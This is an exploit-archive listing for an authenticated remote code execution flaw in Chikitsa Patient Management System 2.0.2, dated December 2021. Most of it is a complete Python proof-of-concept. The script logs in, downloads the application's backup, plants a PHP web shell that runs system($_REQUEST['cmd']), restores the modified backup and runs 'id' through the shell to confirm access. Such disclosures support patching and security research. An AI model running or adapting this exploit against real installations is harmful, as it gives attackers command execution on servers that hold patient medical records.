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Chikitsa Patient Management System 2.0.2 Backup Remote Code Execution

Chikitsa Patient Management System 2.0.2 Backup Remote Code Execution
Posted Dec 9, 2021
Authored by 0z09e

Chikitsa Patient Management System version 2.0.2 suffers from a backup related authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 38e473d7b8a2dbe92973b8889c127e05eb01d311517e63b3e7fe40f6ee387912

Chikitsa Patient Management System 2.0.2 Backup Remote Code Execution

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# Exploit Title: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
from zipfile import ZipFile
import argparse




def login(session , target , username , password):
print("[+] Attempting to login with the credential")
url = target + "/index.php/login/valid_signin"
login_data = {"username" : username , "password" : password}
session.post(url , data=login_data , verify=False)
return session


def download_backup( session , target):
print("[+] Downloading the backup (This may take some time)")
url = target + "/index.php/settings/take_backup/"
backup_req = session.get(url , verify=False)
global tmp_dir
tmp_dir = os.popen("mktemp -d").read().rstrip()
open(tmp_dir + "/backup_raw.zip" , "wb").write(backup_req.content)
print(f"[+] Backup downloaded at {tmp_dir}/backup_raw.zip")


def modify_backup():
print("[+] Modifying the backup by injecting a backdoor.")
zf = ZipFile(f'{tmp_dir}/backup_raw.zip', 'r')
zf.extractall(tmp_dir)
zf.close()
open(tmp_dir + "/uploads/media/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")
os.popen(f"cd {tmp_dir}/ && zip -r backup_modified.zip chikitsa-backup.sql prefix.txt uploads/").read()


def upload_backup(session , target):
print("[+] Uploading the backup back into the server.(This may take some time)")
url = target + "/index.php/settings/restore_backup"
file = open(f"{tmp_dir}/backup_modified.zip" , "rb").read()
session.post(url , verify=False ,files = {"backup" : ("backup-modified.zip" , file)})
print(f"[+] Backdoor Deployed at : {target}/uploads/restore_backup/uploads/media/rce.php")
print(f"[+] Example Output : {requests.get(target +'/uploads/restore_backup/uploads/media/rce.php?cmd=id' , verify=False).text}")




def main():
parser = argparse.ArgumentParser("""
__ _ __ _ __
_____/ /_ (_) /__(_) /__________ _
/ ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__ ) /_/ /
\___/_/ /_/_/_/|_/_/\__/____/\__,_/

Chikitsa Patient Management System 2.0.2 Authenticated Remote Code Execution :
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
req_args = parser.add_argument_group('required arguments')
req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
req_args.add_argument("-u" , "--username" , help="Username" , required=True)
req_args.add_argument("-p" , "--password" , help="password", required=True)
args = parser.parse_args()

target = args.URL
if target[-1] == "/":
target = target[:-1]
username = args.username
password = args.password

session = requests.session()
login(session ,target , username , password)
download_backup(session , target )
modify_backup()
upload_backup(session , target)


if __name__ == "__main__":
main()

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